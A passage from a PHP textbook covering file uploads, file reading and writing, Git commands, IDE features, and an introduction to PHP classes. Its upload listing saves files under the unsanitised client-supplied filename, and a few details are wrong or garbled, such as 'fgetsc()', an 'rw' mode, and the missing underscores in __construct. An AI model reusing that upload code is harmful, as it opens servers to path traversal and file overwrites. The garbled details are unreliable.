With all of our checking completed, you may now finally want to move the
temporary file to a permanent location on your server. Typically, you make
use of the PHP function move_uploaded_file(), which takes in the
temporary file location and the file's final destination. This function will only
work if the source file exists and if the destination location is writable by the
web server (Apache). If there is a problem the function will return false, and a
warning may be output. Listing 12.18 illustrates a simple use of the function.
Note that the upload location uses ./upload/, which means the file will be
uploaded to a subdirectory named upload under the current directory.

Listing 12.18 Using
move_uploaded_file() function



$fileToMove = $_FILES['file1']['tmp_name']; 

$destination = “./upload/” . $_FILES[“file1”][“name”]; 

if (move_uploaded_file($fileToMove,$destination)) { 

   echo “The file was uploaded and moved successfully!”; 

} 

else { 

   echo “There was a problem moving the file.”; 

}



12.5 Reading/Writing Files
Before the age of the ubiquitous database, software relied on storing and
accessing data in files. In web development, the ability to read and write to
text files remains an important technical competency. Even if your site uses a
database for storing its information, the fact that the PHP file functions can
read/write from a file or from an external website (i.e., from a URL) means
that file system functions still have relevance even in the age of database-
driven websites.

Note
When reading a file from an external site, you should be aware that your
script will not proceed until the remote website responds to the request. In
addition, if you do not control the other website, you should be cautious
about relevant intellectual property restrictions on the data you are retrieving.

There are two basic techniques for read/writing files in PHP:

Stream access. In this technique, our code will read just a small portion
of the file at a time. While this does require more careful programming,
it is the most memory-efficient approach when reading very large files.

All-In-Memory access. In this technique, we can read the entire file into
memory (i.e., into a PHP variable). While not appropriate for large files,
it does make processing of the file extremely easy.

12.5.1 Stream Access
To those of you familiar with functions like fopen(), fclose(), and fgets()
from the C programming language, this first technique will be second nature
to you. As in C, PHP uses the same functions to separate the acts of opening,



reading, and closing a file.

The function fopen() takes a file location or URL and access mode as
parameters. The returned value is a stream resource, which you can then read
sequentially. Some of the common modes are “r” for read, “rw” for read and
write, and “c”, which creates a new file for writing.

Once the file is opened, you can read from it in several ways. To read a single
line, use the fgets() function, which will return false if there is no more
data, and if it reads a line it will advance the stream forward to the next one.
To read an arbitrary amount of data (typically for binary files), use fread()
and for reading a single character use fgetsc(). Finally, when finished
processing the file you must close it using fclose(). Listing 12.19 illustrates
a script using fopen(), fgets(), and fclose() to read a file and echo it out
(replacing new lines with <br> tags).

Listing 12.19 Opening, reading
lines, and closing a file
$f = fopen(“sample.txt”, “r”); 

$ln = 0; 

while ($line = fgets($f)) { // reads a line, and enters loop if not EOF

   $ln++; 

   printf(“%2d: ”, $ln); 

   echo $line . “<br>”; 

} 

fclose($f);

Note
When processing text files, the operating system on which they were created
will define how a new line is encoded. Unix and Linux systems use a \n
while Windows systems use \r\n and many Macs use \r. Common errors
can arise when the developer relies on the system they were using at the time,
which might not work across platforms. PHP_EOL is a predefined constant



to ensure you are using the correct end of line character for the system the
script is running on.

To write data to a file, you can employ the fwrite() function in much the
same way as fgets(), passing the file handle and the string to write.
However, as you do more and more processing in PHP, you may find
yourself wanting to read or write entire files at once. In support of these
situations there are simpler techniques, which we will now explore.

12.5.2 In-Memory File Access
While the previous approach to reading/writing files gives you complete
control, the programming requires more care in dealing with the streams, file
handles, and other low-level issues. The alternative simpler approach is much
easier to use, at the cost of relinquishing fine-grained control. The functions
shown in Table 12.3 provide a simpler alternative to the processing of a file
in PHP.

Table 12.3 In-Memory File
Functions

Function Description

file()

Reads the entire file and returns an array,
with each array element corresponding to one
line in the file.

file_get_contents
Reads the entire file and returns a string
variable.

file_put_contents
Writes the contents of a string variable out to
a file.



Hands-on Exercises Lab 12
Exercise
PHP File Access

The file_get_contents() and file_put_contents() functions allow you to
read or write an entire file in one function call. To read an entire file into a
variable you can simply use:

$fileAsString = file_get_contents(FILENAME);

To write the contents of a string $writeme to a file, you use

file_put_contents(FILENAME, $writeme);

These functions are especially convenient when used in conjunction with
PHP's many powerful string-processing functions. For instance, let us
imagine we have a comma-delimited text file that contains information about
paintings, where each line in the file corresponds to a different painting:

01070,Picasso,The Actor,1904 

01080,Picasso,Family of Saltimbanques,1905 

02070,Matisse,The Red Madras Headdress,1907 

05010,David,The Oath of the Horatii,1784

To read and then parse this text file is quite straightforward using the PHP
file() and explode() functions, as shown in Listing 12.20.

Listing 12.20 Processing a comma-
delimited file
// read the file into memory; if there is an error then stop processing

$paintings = file($filename) or die('ERROR: Cannot find file'); 

// our data is comma-delimited 



$delimiter = ','; 

// loop through each line of the file 

foreach ($paintings as $painting) { 

 

   // returns an array of strings where each element in the array 

   // corresponds to each substring between the delimiters 

   $paintingFields = explode($delimiter, $painting); 

   

   $id= $paintingFields[0]; 

   $artist = $paintingFields[1]; 

   $title = $paintingFields[2]; 

   $year = $paintingFields[3]; 

 

   // do something with this data 

   … 

}

Tools Insight

Version Control
Managing your code base is a challenge for anyone who has worked in web
development. You may even have adopted some personal strategies to keep
backups of your work in case you break something and need to go back.
Version control systems (also known as software configuration management
or SCM systems) provide a way to manage all your changes for you, so that
you can easily go back, track changes, and work with multiple people at the
same time on the same files. That is, version control systems are analogous to
a database that stores snapshots of your code (see Figure 12.13 ).
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There are a variety of popular version control systems available. Some make
use of a centralized storage system; Concurrent Versions System (CVS) and
Subversion (SVN) are two popular version systems that were especially
popular a decade ago. Other version control systems make use a distributed
storage system (i.e., multiple computers can act as storage systems); the most



popular of these is Git, which will be the focus of this tools insight.

Git (and all distributed version control systems) is a software program, much
like your web server that runs on your computer, or optionally can be
installed on a remote server. Popular services like GitHub and Bitbucket offer
easy-to-use web-based remote repositories (described below) but should not
be conflated with Git, the software daemon that you can download, install,
and run yourself for free.

Git has a reputation for being daunting to learn, and indeed we do not have
the space in the book to fully teach Git. The Git website provides a
comprehensive online book (https://git-scm.com/book/en/v2) that can help
you learn Git; the Git Tower website also has an excellent online book
(https://www.git-tower.com/learn/git/ebook). If Git seems too difficult to
master, you might consider using version control as part of a larger Integrated
Development Environment (IDE), described briefly in Chapter 13. However,
we certainly recommend taking to time to learn Git. It has become an
essential tool for all developers, and many employers expect their software
developers to be proficient with it. Similarly, making use of an online remote
repository such as GitHub for sharing your code has become an important
part of contemporary web development workflow and employers often expect
their potential hires to have some of their code (for instance, school
assignments) publicly accessible.

Once you download and install Git (and are granted access to a university,
corporate or personal repository), you can create your first repository and
start interacting with the system. Git is a command-line tool, so using it
involves using the Terminal (Mac) or Command Prompt or Powershell in
Windows. In other words, learning Git involves learning a variety of different
commands, visualized in Figure 12.14 . We have summarized many of the
key Git commands below. There are GUI tools that integrate these commands
into larger IDE applications.

https://git-scm.com/book/en/v2
https://www.git-tower.com/learn/git/ebook
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Create a Repository
You normally have a repository for each project. Use the command line to
navigate to a folder you want to work in (the working folder) and type:

git init

This will create a local repository (or “repo”) and also create a folder in the
code folder named .git. It's best to leave this folder and its content alone,



since Git uses it to store data (see  in Figure 12.14 ).

Once your repository is created, you will typically be performing
add/commit/push commands as the main actions using Git.

Adding Files
Whether you initialized Git on an empty folder or one with files already
present, the files that you wish to track must be added explicitly. Each time
you create a file in your working directory you must also add it to Git using
the Git add command as follows.

git add <filename>

To add everything that has been changed to the commit you would enter:

git add .

It should be mentioned that the add command doesn't change the repository.
All it does is tell Git to add these files to the next commit. That is, it adds it to
the Index, which is a staging area for modified files ready to be committed
(the  in Figure 12.14 ).

Committing Files
While saving files in your working folder is important (how else can you test
them in the browser?), it does not save them on the repository. To update the
local repository to reflect all the changes you've made to a file (or files), you
must commit them (  in Figure 12.14 ) using the commit command.

The -m flag and message used with the command allows you to attach a
message with the commit; this can provide a brief summary of changes made
so that later a log can be examined to determine what changes people made to
code where and when. For a new file, we can commit it easily with:



git commit <filename> -m “Initial commit message”

This sends the local file to the repository and replaces the HEAD of the
repository with a reference to the new file. In practice files are often
committed together, reminding us that the HEAD is a reference to the commit
itself, not any particular file.

Pushing Files to Remote Repository
Git is a locally installed version control system. To collaborate with other
developers on a single project, your files must be stored on a remote
repository, which is a Git repository hosted on the internet (for instance, on
GitHub or BitBucket) or on a network accessible to the other developers. Just
as you had to initialize one time a folder for Git, you have to tell Git one time
to add a remote repository using the remote add command.

git remote add origin <url>

The word “origin” becomes a shortname that we can use to reference the
remote repository in subsequent commands. If you have already run the clone
command, this origin shortname will already be defined and associated with
the URL used in the clone.

Once a remote repository has been added, you can push (  in Figure 12.14 )
your master branch (see below) up to the remote repository with the
command:

git push origin master

However, if other people have also pushed revised content to the server, Git
will reject your push. You will have to fetch their work, merge it into yours,
and then do the push. This is where Git shows its true power (but also
becomes much more complicated).

Information Commands



There are several commands (see ) that return information to you but do
not change the local or remote version of files. For instance, to see the current
status of your files (i.e., which need updating) type:

git status

After some time, each file will have a history built up capturing the changes
to files made through successive commits over time, which can be viewed via
the log command.

git log <filename>

Branches
One of the most important features of Git is its ability to maintain multiple
version of your files. A Git branch (see ) allows you to change content in
isolation from the default master branch. For instance, imagine you are
working on a production application, and you need to make a hotfix to the
application to remove a bug while your coworker wants to develop a new
feature. Knowing you might have to change many files, you could spawn a
new branch and make your changes within that branch; while your team
continues work on the main branch. This way you can commit changes to
your own branch as you need to, knowing that you are not impacting the rest
of the team. Once each of you is satisfied with another developer's branch
changes, they would merge their branches into the main master branch. A
branch is created using the branch command:

git branch <branchname>

This only creates a new branch. To use it for subsequent adds and commits,
you will need to use the checkout command.

Checking Out Files
The checkout command (see ) provides a lot of power and flexibility. It



can be used to switch to a different branch.

git checkout <branchname>

What exactly does this do? The files in the local working folder will be
updated to match the version in the selected branch. The HEAD pointer in the
local repository will now also point to the last commit on this branch.

The checkout command can also be used to download files from a local
repository to your local folder. The checkout takes the most recent version of
the file (also called the Head of the branch) and overwrites your local file, if
it exists. Once you have a checked out file, your edits are made locally, only
to be added back to the repository through a commit command.

The ability to roll back code to a previous version is one of the reasons
version control is so popular. If you want to go back to the most recently
committed version in the repository (the HEAD), you simply recheck out the
file to update it with the version in the repository.

git checkout <filename>

If you want to roll back to particular version, use the Git log command to
identify the hash and then roll back to that hash:

git checkout <hash-of-version-to-checkout> <filename>

Git provides the revert and reset commands as well for undoing changes,
which are not covered here.

Merge
Once a branch is complete and you want to merge the changes in one branch
onto its parent, you checkout the parent branch and run the merge command
(see ).

git checkout master

git merge <branchname>



This process doesn't always happen smoothly; when multiple people are
merging onto the same parent branch, Git might not be able to merge your
changes by itself. In such a case, you may have to use the diff command to
help you manually merge changes together, since Git can't do it.

git diff <filename>

The cryptic output returned from the Git diff command shows changes
between the current local file and the HEAD version using the + symbol and
green to show which lines are added and a - symbol and red to show
deletions. In Chapter 13 we illustrate another (easier) way of using Git diff,
accessed through an Integrated Development Environment.

Pulls, Fetches, Clones, and Forks
Sometimes you will want to retrieve specific branches, or all the branches,
from the remote repository, which can be accomplished via the clone, fetch,
and pull commands (see ). We won't be covering all these commands in
this already too-long tools insight section. The clone command is quite useful
even for beginners with Git.

You often want to begin a project by copying files from an existing remote
repository, which can be done via the clone command.

git clone <url>

For instance, you can clone the start project files for this book by using the
command:

git clone https://github.com/MountRoyalCSIS/funwebdev-projects-start.git

This copies (downloads) all the data and files for this repository from the
publicly accessible online GitHub repository into the current folder on your
machine.

Finally, one of the key benefits of online remote repositories such as GitHub
is the ability to fork another online repository. Forking a remote repository is



essentially copying one remote repository into a different remote repository.
This is an especially valuable way for a developer (or a set of developers) to
experiment with a remote repository without modifying the original remote
repository. Developers often use forking as a way to use someone else's
project as the starting point for their own project.



12.6 Chapter Summary
This chapter covered some important features of PHP. It began by exploring
how to create, use, iterate, and sort arrays. Superglobal arrays were then
introduced, which provide easy access to server and request variables, along
with GET and POST query string data. Finally, file upload and processing in
PHP was covered including some validation techniques to manage the type
and size of uploaded assets.

12.6.1 Key Terms
All-in-memory access

array keys

array values

associative arrays

branch

forking

Git

GitHub

local repository

merge

NULL

null coalescing operator



one-way hash

ordered map

remote repository

sanitizing user inputs

stream access

stream resource

superglobal variables

user-agent

version control

12.6.2 Review Questions
1. 1. What are the superglobal arrays in PHP?

2. 2. What function is used to determine if a particular field was sent via
query string?

3. 3. How do we handle arrays of values being posted to the server?

4. 4. Describe the relationship between keys and indexes in arrays.

5. 5. How does one iterate through all keys and values of an array?

6. 6. Are arrays sorted by key or by value, or not at all?

7. 7. How would you get a random element from an array?

8. 8. What does urlencode() do? How is it “undone”?

9. 9. What information is uploaded along with a file?



10. 10. How do you read or write a file on the server from PHP?

11. 11. List and briefly describe the ways you can limit the types and size of
files uploaded.

12. 12. What classes of information are available via the $_SERVER
superglobal array?

13. 13. Describe why hidden form fields can easily be forged/changed by an
end user.

14. 14. What is version control and how does it impact your workflow?

15. 15. How is Git different than GitHub?

12.6.3 Hands-On Practice

Project 1: Art Store

Difficulty Level: Beginner

Overview
Demonstrate your ability to work with arrays and superglobals in PHP.

Hands-on Exercises
Project 12.1



Instructions
1. You have been provided with two files: the data entry form (Chapter12-

project1.php) and the page that will process the form data (art-
process.php). Examine both in the browser.

2. Modify Chapter12-project1.php so that it uses the POST method and
specify art-process.php as the form action.

3. Define two string arrays, one containing the genres Abstract, Baroque,
Gothic, and Renaissance, and the other containing the subjects Animals,
Landscape, and People.

4. Write a function that is passed a string array and which returns a string
containing each array element within an <option> element. Use this
function to output the Genre and Subject <select> lists.

5. Modify art-process.php so that it displays the all the values that were
entered into the form, as shown in Figure 12.15 . This will require using
the appropriate superglobal array.



Figure 12.15 Completed
Project 1

Figure 12.15 Full Alternative Text

Test
1. Test the page. Remember that you cannot simply open a local PHP page

in the browser using its open command. Instead you must have the
browser request the page from a server. If you are using a local server
such as XAMMP, the file must exist within the htdocs folder of the
server, and then the request will be localhost/some-path/Chapter12-
project1.php.



Project 2: Share Your Travel
Photos

Difficulty Level: Intermediate

Overview
You have been provided with two files: a page that will eventually contain
thumbnails for a variety of travel images (list.php) and a page that will
eventually display the details of a single travel image (detail.php). Clicking a
thumbnail in the first file will take you to the second page where you will be
able to see details for that image, as shown in Figure 12.16 .





Figure 12.16 Completed
Project 2

Figure 12.16 Full Alternative Text

Hands-on Exercises
Project 12.2

Instructions
1. Both pages will make use of arrays that are contained within the include

file travel-data.inc.php. Include this file in both pages.

2. Both pages display a list of countries. Replace the hard-coded lists by
looping through the $countries array to display a list (in details.php, the
list is contained within the include file left.inc.php). Be sure to first use a
PHP sort function. Each country in the list should be a link to list.php
with the country name as a query string parameter. Also replace the
continents hard-coded list with a loop as well.

3. In list.php, replace the existing image list markup with a loop that
displays the thumbnail image and link for each of the elements within
the $images array (which is provided within travel-data.inc.php). Notice
that the links are to detail.php and that they pass the id element as a
query string parameter.

4. After testing list.php to verify it works as expected, add logic to handle
the country links. Each link in the country list should be to list.php but
with the country name as a query string (e.g., list.php?country=Canada).
You will need to filter the images list so that the page displays only
those images from the specified country.



5. In detail.php, retrieve the passed id in the query string, and use it as an
index into the $images array. With that index, you can output the
relevant title, image (in the images/travel/medium folder), user name,
country, city, description, and tags.

Test
1. Test the pages in the browser (see the test section of the previous section

to remind yourself about how to do this).

Project 3: CRM Admin

Difficulty Level: Advanced

Overview
Demonstrate your ability to fill arrays from text files and then display the
content.

Hands-on Exercises
Project 12.3

Instructions
1. You have been provided with a PHP file (Chapter12-project3.php) that

includes all the necessary markup. You have also been provided with
two text files: customers.txt and orders.txt that contain information on



customers and their orders.

2. Read the data in customers.txt into an array, and then display the
customer data in a table. Each line in the file contains the following
information: customer id, first name, last name, email, university,
address, city, state, country, zip/postal, phone, and sales. Each of these
fields is delimited by semicolons. You will notice that you are only
displaying some of that data.

3. Each customer name must be a link back to Chapter12-project3.php, but
with the customer id data as a query string (see Figure 12.17 ).





Figure 12.17 Completed
Project 3

Figure 12.17 Full Alternative Text

4. When the user clicks on the customer name (that is, makes a request to
the same page but with the customer id passed as a query string), then
display additional customer information in the Customer Details card.
Also read the data in orders.txt into an array, and then display any
matching order data for that customer (see Figure 12.17 ). Each line in
the orders file contains the following data: order id, customer id, book
ISBN, book title, and book category. Be sure to display a message when
there is no order information for the requested customer.

5. The sales field in the customers table is a series of 12 comma-separated
numbers. You will use sparklines.js jQuery library to display those
numbers as an inline bar chart. Examine the sample customer table row
to see how easy it is to make this data look impressive using jQuery!

Test
1. Test the page in the browser. Verify the correct orders are displayed for

different customers. Also verify that the correct customer name is
displayed in the panel heading for the orders.
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13 PHP Classes and Objects



Chapter Objectives
In this chapter you will learn …

The principles of object-oriented development using PHP

How to use built-in and custom PHP classes

How to articulate your designs using UML class diagrams

Some basic object-oriented design patterns

This chapter begins by introducing object-oriented design principles and
practices as applied to server-side development in PHP. You will learn how
to create your own classes and how to use them in your pages. The chapter
also covers more advanced object-oriented principles, such as derivation,
abstraction, and polymorphism all described using the Unified Modeling
Language (UML), and all presented with the aim of helping you design and
develop modular and reusable code. You will also be introduced to Integrated
Development Environments, powerful tools that can improve the quality and
speed of your coding.



13.1 Object-Oriented Overview
Unlike JavaScript, PHP is a full-fledged object-oriented language with many
of the syntactic constructs popularized in languages like Java and C++.
Although earlier versions of PHP did not support all of these object-oriented
features, PHP versions after 5.0 do. There are only a handful of classes
included in PHP, some of which will be demonstrated in detail. The usage of
objects will be illustrated alongside their definition for increased clarity.

13.1.1 Terminology
The notion of programming with objects allows the developer to think about
an item with particular properties (also called attributes or data members) and
methods (functions). The structure of these objects is defined by classes,
which outline the properties and methods like a blueprint. Each variable
created from a class is called an object or instance, and each object maintains
its own set of variables, and behaves (largely) independently from the class
once created.

Figure 13.1 illustrates the differences between a class, which defines an
object's properties and methods, and the objects or instances of that class.



Figure 13.1 Relationship
between a class and its objects

Figure 13.1 Full Alternative Text

13.1.2 The Unified Modeling
Language
When discussing classes and objects, it helps to have a quick way to visually
represent them. The standard diagramming notation for object-oriented
design is UML (Unified Modeling Language). UML is a succinct set of
graphical techniques to describe software design. Some integrated
development environments (IDEs) will even generate code from UML



diagrams.

Several types of UML diagrams are defined. Class diagrams and object
diagrams, in particular, are useful to us when describing the properties,
methods, and relationships between classes and objects. Throughout this and
subsequent chapters, we will be illustrating concepts with UML diagrams
when appropriate. For a complete definition of UML modeling syntax, look
at the Object Modeling Group's living specification.1

To illustrate classes and objects in UML, consider the artist we have looked
at in the Art Case Study. Every artist has a first name, last name, birth date,
birth city, and death date. Using objects we can encapsulate those properties
together into a class definition for an Artist. Figure 13.2 illustrates a UML
class diagram, which shows an Artist class and multiple Artist objects,
each object having its own properties.



Figure 13.2 Relationship
between a class and its objects
in UML

Figure 13.2 Full Alternative Text

In general, when diagramming we are almost always interested in the classes
and not so much in the objects. Depending on whether one is interested in
showing the big picture, with many classes and their relationships, or
showing instead exact details of a class, there is a wide variety of flexibility
in how much detail you want to show in your class diagrams, as shown in



Figure 13.3 .

Figure 13.3 Different levels of
UML detail

Figure 13.3 Full Alternative Text

13.1.3 Differences between Server
and Desktop Objects
If you have programmed desktop software using object-oriented methods
before, you will need to familiarize yourself with the key differences between
desktop and client-server object-oriented analysis and design (OOAD). One



important distinction between web programming and desktop application
programming is that the objects you create (normally) only exist until a web
script is terminated. While desktop software can load an object into memory
and make use of it for several user interactions, a PHP object is loaded into
memory only for the life of that HTTP request. Figure 13.4 shows an
illustration of the lifetimes of objects in memory between a desktop and a
browser application.



Figure 13.4 Lifetime of objects
in memory in web versus



desktop applications
Figure 13.4 Full Alternative Text

For this reason, we must use classes differently than in the desktop world,
since the object must be recreated and loaded into memory for each request
that requires it. Object-oriented web applications can see significant
performance degradation compared to their functional counterparts if objects
are not utilized correctly. Remember, unlike a desktop, there are potentially
many thousands of users making requests at once, so not only are objects
destroyed upon responding to each request, but memory must be shared
between many simultaneous requests, each of which may load objects into
memory.

It is possible to have objects persist between multiple requests using
serialization, which is the rapid storage and retrieval of an object (and which
is covered in Chapter 16). However, serialization does not address the
inherent inefficiency of recreating objects each time a new request comes in.

Tools Insight

Integrated Development
Environments
Whether you are developing client side JavaScript or server side PHP, there
are developer tools available to enhance your productivity. An Integrated
Development Environment (IDE) provides not only a powerful editor but
many additional features designed to improve the quality and speed of
software development.

While some of these features like syntax highlighting and linting will help
you right away, others require exposure to advanced ideas like classes,



version control, and refactoring. Most software-development companies use
an IDE and provide it fully configured with company standards to each new
employee.

Although there is no single perfect tool, the Open Source Eclipse tool is very
mature, and accommodates many powerful third-party modules to extend its
functionality. The package named PDT (https://Eclipse.org/pdt/) will be
demonstrated in this book and is a version of Eclipse specifically configured
for PHP web development. Complete documentation on installation,
configuration, and customization is available directly from Eclipse and
changes with each update.

Although using an IDE is not required, powerful tools can increase the speed
and quality of software development, provide timely documentation just as
you need it, facilitate teamwork, and make programming more fun.

Code Formatting
Whether you are writing HTML, CSS, JavaScript, or PHP, having your code
formatted in a consistent way helps increase its readability and
maintainability. Indentation, spacing, comment generation, and automatic
closing brackets are just a few of the ways your code can be formatted by the
IDE. IDEs also allow user-defined formatting rules, which allow a company
to impose a single formatting standard across all developers simply by
making the IDE generate code in a consistent way.

Syntax highlighting allows different parts of your code to be displayed in
different colors, fonts, and styles. This allows variables, function names,
classes, and text to all have distinct appearances, providing greater visual
clarity to your code. Bracket matching highlights which brackets match each
other as you type, providing even more visual feedback. Unlike formatting,
syntax highlighting is not saved with the code and can be customized on a
per-user level. This allows each developer to look at the same code using
syntax highlighting that they prefer. Examples of syntax coloring can be seen
in Figures 13.5 to 13.7.

https://Eclipse.org/pdt/


Figure 13.5 A code completion
suggestion showing a list of
matching function names with
descriptions

Figure 13.5 Full Alternative Text



Figure 13.6 Using templates to
generate skeleton code for a
class

Figure 13.6 Full Alternative Text



Figure 13.7 Eclipse showing
how a PHP class and variables
from a source file are visualized
in the Outline, Navigator, and



Project Outline views
Figure 13.7 Full Alternative Text

Code Completion
One of the most compelling features of modern IDEs is code completion,
where code suggestions are shown under your cursor as you type, allowing
the programmer to choose from these suggestions using the mouse or
keyboard, rather than type out the entire identifier. This feature is especially
helpful for avoiding typos in function and variable names. In addition, this
feature will display text directly from the php.net documentation, and
describe the parameters expected by functions as illustrated in Figure 13.5 .

Built in Linting/Validation
You might recall from earlier chapters on HTML and CSS that there are tools
to determine whether a particular file has valid syntax. In Eclipse these tools
include an HTML validator as well as linters, which parse your code to show
errors and warnings. There is also visual feedback in the file browser,
showing which files contain errors and warnings. Simply opening an HTML,
JavaScript or PHP file in an Eclipse editor allows instant validation feedback.
In Figure 13.5 you can see that Eclipse has identified an error on line 3 (since
we had not completed typing), indicated by a small red x. Other views in
Eclipse list all errors and warnings from your project, making it easy to track
down errors.

Code Templates
The authors are well aware that many students use old programs/websites to
make sure the subsequent programs/websites contain the things they've
already learned about as they move forward. A more constructive approach is



to use templates in Eclipse so you can think about the high level thing you
want like a conditional, loop, function, or class and then have Eclipse
generate an empty block of code that implements the structure (sometimes
called a skeleton). The benefits of templates are not only to generate code,
but also to help you recall details you might otherwise have to look up.

Templates come prepackaged and can also be defined by the user. In the code
editor, start typing the name of the entity (class, for, if, …) and a list of
completions will appear at the bottom of the auto completion suggestion list.
By choosing a template, its code is pasted into your file so you can start
working from syntactically correct code, as seen in Figure 13.6 . Notice how
comments can be included in your templates, encouraging better
documentation, without burdening the developer to write all comments
manually (although they should still fill in the details).

Project/Application/Class Outline
Views
As your small code examples grow into larger applications you will start to
have more files, classes, functions, and more code in general to navigate and
manage. Eclipse offers powerful views that are constantly parsing your code,
identifying variables, classes, and functions so that you can see (and
navigate) the semantic elements of your code, separate from the code itself as
shown in Figure 13.7 .

Remote Workspace Integration
As you may recall from Chapter 1, as a web developer you have to transfer
files to your web server, normally using one of SSH or FTP. Eclipse provides
remote views so that you can work in Eclipse as if your remote code were
just another local folder, but each time you save your work, the file is silently
transferred to the server. Although not a reason on its own to use an IDE,
using a single tool for all your web development work can be preferable to



using multiple programs like FileZilla in addition to another editing tool.

Software Engineering Tools
There is a whole study field of study on how to fix code to make it clearer,
more efficient, more maintainable, and more modular called refactoring.
Refactoring does not change functionality, but instead aims to identify bad
coding practices (like repeated code, poor variable names, etc.) and apply a
range of strategies to help fix those problems. Something as simple as search
and replace could help rename a poorly named variable throughout your code
but Eclipse has tools far more powerful.

The extract method feature for instance cuts code out of one (already
working) function and pastes it as a new function, which is then called in the
original function. Eclipse takes care of all the variables being called and
passed properly, and generally makes it easier than it would be to perform the
same task manually. Eclipse has a range of refactoring tools available to you
through the refactoring submenu in the editor.

Version Control
Recall that back in Chapter 12 we described version control, and how it can
help you manage your source code over time. Thankfully, the same
commands that were demonstrated on the command line for Git are also
integrated quite nicely into most IDEs, including Eclipse.

You can manage multiple repositories, then check in and out, compare, roll
back, merge, and branch, just like with the command line version, but with
enhanced interfaces. Right clicking on any file in a repository will allow you
to access the team menu where you can see the options available to you such
as check-in, compare, synchronize workspace, and more.

Of particular note is the ability to easily compare two version of a file side by
side as depicted in Figure 13.8 , where instead of a text based comparison,
you see a graphical interface illustrating the changes.



Figure 13.8 Showing a side-by-
side comparison of versions
through Eclipse using Git

Figure 13.8 Full Alternative Text



13.2 Classes and Objects in PHP
In order to utilize objects, one must understand the classes that define them.
Although a few classes are built into PHP, you will likely be working
primarily with your own classes.

Classes should be defined in their own files so they can be imported into
multiple scripts. In this book we denote a class file by using the naming
convention classname.class.php. Any PHP script can make use of an external
class by using one of the include statements or functions that you
encountered in Chapter 11, that is, include, include_once, require, or
require_once; in Chapter 17, you will learn how to use the
spl_autoload_register() function to automatically load class files without
explicitly including them. Once a class has been defined, you can create as
many instances of that object as memory will allow using the new keyword.

13.2.1 Defining Classes
The PHP syntax for defining a class uses the class keyword followed by the
class name and { } braces.2 The properties and methods of the class are
defined within the braces. The Artist class with the properties illustrated in
Figure 13.2 is defined using PHP in Listing 13.1.

Hands-on Exercises Lab 13
Exercise
Define a Class

Listing 13.1 A simple Artist class



class Artist { 

   public   $firstName; 

   public   $lastName; 

   public   $birthDate; 

   public   $birthCity; 

   public   $deathDate; 

}

Note
Prior to version 5 of PHP, the keyword var was used to declare a property.
From PHP 5.0 to 5.1.3, the use of var was considered deprecated and would
issue a warning. Since version 5.1.3, it is no longer deprecated and does not
issue the warning. If you declare a property using var, then PHP 5 will treat
the property as if it had been declared as public.

Each property in the class is declared using one of the keywords public,
protected, or private followed by the property or variable name. The
differences between these keywords will be covered in Section 13.2.6.

13.2.2 Instantiating Objects
It's important to note that defining a class is not the same as using it. To make
use of a class, one must instantiate (create) objects from its definition using
the new keyword. To create two new instances of the Artist class called
$picasso and $dali, you instantiate two new objects using the new keyword
as follows:

$picasso = new Artist(); 

$dali = new Artist();

Notice that assignment is right to left as with all other assignments in PHP.
Shortly you will see how to enhance the initialization of objects through the
use of custom constructors.



13.2.3 Properties
Once you have instances of an object, you can access and modify the
properties of each one separately using the object's variable name and an
arrow (->), which is constructed from the dash and greater than symbols.
Listing 13.2 shows code that defines the two Artist objects and then sets all
the properties for the $picasso object.

Listing 13.2 Instantiating two Artist
objects and setting the properties on
one
$picasso = new Artist(); 

$dali = new Artist(); 

$picasso->firstName = “Pablo”; 

$picasso->lastName = “Picasso”; 

$picasso->birthCity = “Malaga”; 

$picasso->birthDate = “October 25 1881”; 

$picasso->deathDate = “April 8 1973”;

13.2.4 Constructors
While the code in Listing 13.2 works, it takes multiple lines and every line of
code introduces potential maintainability problems, especially when we
define more artists. Inside of a class definition, you should therefore define
constructors, which lets you specify parameters during instantiation to
initialize the properties within a class right away.

Hands-on Exercises Lab 13



Exercise
Instantiate Objects

In PHP, constructors are defined as functions (as you shall see, all methods
use the function keyword) with the name     construct(). (Note: there are
two underscores _ before the word construct.) Listing 13.3 shows an
updated Artist class definition that now includes a constructor. Notice that
in the constructor each parameter is assigned to an internal class variable
using the $this-> syntax. Inside of a class you must always use the $this
syntax to reference all properties and methods associated with this particular
instance of a class.

Listing 13.3 A constructor added to
the class definition
class Artist { 

   // variables from previous listing still go here 

   // … 

   

   function     construct($firstName, $lastName, $city, $birth, 

                      $death=null) { 

      $this->firstName = $firstName; 

      $this->lastName = $lastName; 

      $this->birthCity = $city; 

      $this->birthDate = $birth; 

      $this->deathDate = $death; 

   } 

}

Notice as well that the $death parameter in the constructor is initialized to
null; the rationale for this is that this parameter might be omitted in
situations where the specified artist is still alive.

This new constructor can then be used when instantiating so that the long
code in Listing 13.2 becomes the simpler:



$picasso = new Artist(“Pablo”,“Picasso”,“Malaga”,“Oct 25,1881”, 

                    “Apr 8,1973”); 

$dali = new Artist(“Salvador”,“Dali”,“Figures”,“May 11 1904”, 

                  “Jan 23 1989”);

13.2.5 Method
Objects only really become useful when you define behavior or operations
that they can perform. In object-oriented lingo these operations are called
methods and are like functions, except they are associated with a class. They
define the tasks each instance of a class can perform and are useful since they
associate behavior with objects. For our artist example one could write a
method to convert the artist's details into a string of formatted HTML. Such a
method is defined in Listing 13.4.

Listing 13.4 Method definition
class Artist { 

   // … 

   public function outputAsTable()  { 

     $table = “<table>”; 

     $table .= “<tr><th colspan='2'>”; 

     $table .= $this->firstName . “ ” . $this->lastName; 

     $table .= “</th></tr>”; 

     $table .= “<tr><td>Birth:</td>”; 

     $table .= “<td>” . $this->birthDate;  

     $table .= “(” . $this->birthCity . “)</td></tr>”; 

     $table .= “<tr><td>Death:</td>”; 

     $table .= “<td>” . $this->deathDate . “</td></tr>”; 

     $table .= “</table>”; 

     return $table; 

   } 

}

Pro Tip
The special function    construct() is one of several magic methods or



magic functions in PHP. This term refers to a variety of reserved method
names that begin with two underscores.

These are functions whose interface (but not implementation) is always
defined in a class, even if you don't implement them yourself. That is, PHP
does not provide the definitions of these magic methods; you the programmer
must write the code that defines what the magic function will do. They are
called by the PHP engine at run time.

The magic methods are:     construct(),     destruct(),     call(),
    callStatic(),     get(),     set(),     isset(),     unset(),    
sleep(),     wakeup(),     toString(),     invoke(),     set_state(),
    clone(), and     autoload().

To output the artist, you can use the reference and method name as follows:

$picasso = new Artist( … ) 

echo $picasso->outputAsTable();

The UML class diagram in Figure 13.2 can now be modified to include the
newly defined outputAsTable() method as well as the constructor and is
shown in Figure 13.9 . Notice that two versions of the class are shown in
Figure 13.9 , to illustrate that there are different ways to indicate a PHP
